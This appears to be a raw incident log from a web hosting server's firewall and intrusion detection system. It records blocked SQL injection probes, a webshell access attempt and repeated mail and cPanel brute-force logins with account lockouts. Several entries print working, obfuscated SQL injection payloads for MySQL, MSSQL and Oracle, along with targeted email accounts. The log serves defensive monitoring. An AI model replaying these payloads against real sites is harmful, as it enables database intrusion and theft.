# incident

plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.180.228.113
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/8744=concat('~',(select/**/(case/**/when/**/(8744=8744)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/7073=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7073=7073)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# xTCHgtdS||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:56:12 dovecot_login authenticator failed for H=(WspklJbER) [165.154.217.204]:61540: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/7073=concat('~',(select/**/(case/**/when/**/(7073=7073)/**/then/**/'1'/**/else/**/'0'/**/end)),'~')# xtchgtds||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:56:05 dovecot_login authenticator failed for H=(3e58SGD) [77.83.39.253]:58260: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.238.154
country_id: 1643084
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/7073=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7073=7073)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~')# xTCHgtdS HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:56:09 dovecot_login authenticator failed for H=(6tOGcsxV) [185.230.124.69]:56275: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:56:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56696: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 05:56:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:56:25 dovecot_login authenticator failed for H=(KheM0v) [158.94.208.175]:52052: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:56:26 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"and/**/7043=concat('~',(select/**/(case/**/when/**/(7043=7043)/**/then/**/'1'/**/else/**/'0'/**/end)),'~') and \"53nisw4u\" like \"53nisw4u||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"AND/**/7043=CONCAT('~',(SELECT/**/(CASE/**/WHEN/**/(7043=7043)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)),'~') AND \"53niSw4U\" LIKE \"53niSw4U||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:57:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:56:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:57:03 dovecot_login authenticator failed for H=(ypaGhvY) [178.16.52.139]:55966: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND AND\x057088=(SELECT\x02'~' (SELECT\x01(CASE\x0fWHEN\x03(7088=7088)\vTHEN\x07'1'\tELSE\x07'0'\nEND)) '~'\nFOR\x02XML\x02PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:57:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:57:31 dovecot_login authenticator failed for H=(YRueekfF) [158.94.208.175]:63914: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:57:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52188: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:57:55 dovecot_login authenticator failed for H=(qdWwZl58) [165.154.217.204]:54226: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:57:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.147.49.126
country_id: 6252001
description:
2026-02-02 05:57:52 dovecot_login authenticator failed for H=ec2-3-147-49-126.us-east-2.compute.amazonaws.com (ADMIN) [3.147.49.126]:50868: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/9025=(select/**/'~'+(select/**/(case/**/when/**/(9025=9025)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:57:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:57:05 dovecot_login authenticator failed for H=(ZM8uUK0UP) [185.230.124.69]:65524: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:57:08 dovecot_login authenticator failed for H=(AZ3jqst) [165.154.217.204]:50246: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:57:16 dovecot_login authenticator failed for H=(zWNY0rtzs) [77.83.39.253]:3788: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:57:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50062: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.207.194.159
country_id: 1269750
domain: www.mail.fimco.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/fimco/mail.fimco.com.my/wp-admin||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'AND/**/7135=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(7135=7135)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/8704=(SELECT/**/'~' (SELECT/**/(CASE/**/WHEN/**/(8704=8704)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END)) '~'/**/FOR/**/XML/**/PATH(''))# htAjxb0r||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-02 05:58:18 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:58172: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:58:26 dovecot_login authenticator failed for H=(QrDQfOSJx) [178.16.52.139]:57008: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 05:58:39 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-02 05:58:53 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:37248: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:58:02 dovecot_login authenticator failed for H=(3Y7rVSQad) [185.230.124.69]:50547: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:58:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59453: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8704=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8704=8704)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))# htAjxb0r HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:58:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:58:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:58:06 dovecot_login authenticator failed for H=(SiaDkRSh) [165.154.217.204]:55206: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:58:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-02 05:58:34 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:37948: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:58:04 dovecot_login authenticator failed for H=(DXngvU2l) [77.83.39.253]:56123: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 154.121.51.18
country_id: 2589581
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/6231=(select/**/'~'+(select/**/(case/**/when/**/(6231=6231)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/8704=(select/**/'~'+(select/**/(case/**/when/**/(8704=8704)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))# htajxb0r||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:58:26 dovecot_login authenticator failed for H=(m5ZnqbCsz8) [158.94.208.175]:64072: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/sysusers.d/dbus.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:59:59 dovecot_login authenticator failed for H=(R7Lv8u) [158.94.208.175]:53153: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:59:04 dovecot_login authenticator failed for H=(TIxQO0aW) [165.154.217.204]:60351: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/3168=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(3168=3168)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 05:59:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 05:59:18 dovecot_login authenticator failed for H=(xzt7ay5tN) [185.230.124.69]:65249: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:59:22 dovecot_login authenticator failed for H=(Fy37xYVu) [165.154.217.204]:61983: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:59:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64532: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:59:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:59:14 dovecot_login authenticator failed for H=(Enx21vg) [178.16.52.139]:50855: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:59:16 dovecot_login authenticator failed for H=(dSFHtRS) [77.83.39.253]:60675: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/9406=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(9406=9406)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual) and (\"rtltd1hk\" like \"rtltd1hk\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/9406=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(9406=9406)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND (\"RTLTD1hk\" LIKE \"RTLTD1hk\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:59:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44798: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 06:00:01 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:33212: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.124.206.244
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/8337=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8337=8337)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.2
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/tmpfiles.d/named.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:00:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64542: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.183.114.175
country_id: 3469034
description:
2026-02-02 06:00:36 dovecot_login authenticator failed for H=([179.183.114.175]) [179.183.114.175]:35234: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-02 06:00:41 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:31554: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:00:04 dovecot_login authenticator failed for H=(NWf4AS) [77.83.39.253]:41846: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/3666=(select/**/upper(xmltype(chr(60)||chr(58)||'~'||(select/**/(case/**/when/**/(3666=3666)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(62)))/**/from/**/dual) and (((1017=1017||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:00:15 dovecot_login authenticator failed for H=(OJdjRX6P) [185.230.124.69]:57008: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 06:00:56 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:21549: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:00:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-02-02 06:00:20 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:39766: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:00:48 dovecot_login authenticator failed for H=(bU7q4vL9) [165.154.217.204]:56633: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/3666=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3666=3666)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL) AND (((1017=1017||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:00:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:00:09 dovecot_login authenticator failed for H=(zVhpzLa) [165.154.217.204]:49709: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.57.219.183
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/6464=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT/**/(CASE/**/WHEN/**/(6464=6464)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(62)))/**/FROM/**/DUAL)# w3ds8vjG HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:00:57 dovecot_login authenticator failed for H=(OsbQEx) [158.94.208.175]:65329: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:00:07 dovecot_login authenticator failed for H=(vCyTOPwO) [178.16.52.139]:54149: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-02 06:00:12 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:38959: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:01:06 dovecot_login authenticator failed for H=(2Pq6zFUTO) [165.154.217.204]:58263: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:01:15 dovecot_login authenticator failed for H=(Dx4hXVjuQ) [77.83.39.253]:56476: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:01:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33086: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:01:04 dovecot_login authenticator failed for H=(YZFnMnb) [178.16.52.139]:53341: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:01:12 dovecot_login authenticator failed for H=(C1MGn2bd) [185.230.124.69]:61681: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:01:34 dovecot_login authenticator failed for H=(oO1deh) [158.94.208.175]:55654: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/5914=(select/**/upper(xmltype(chr(60)||chr(58)||%27~%27||(select/**/(case/**/when/**/(5914=5914)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(62)))/**/from/**/dual) and (\"kyzempj5\" like \"kyzempj5||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.82.76
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/5914=(sELeCt/**/uPPer(xMLTYPe(chr(60)||cHR(58)||'~'||(sELecT/**/(CAse/**/whEN/**/(5914=5914)/**/ThEN/**/1/**/ElSe/**/0/**/EnD)/**/From/**/duaL)||'~'||CHr(62)))/**/FROm/**/duAl) AND (\"kYZEMPj5\" LIKE \"kYZEMPj5||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:01:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
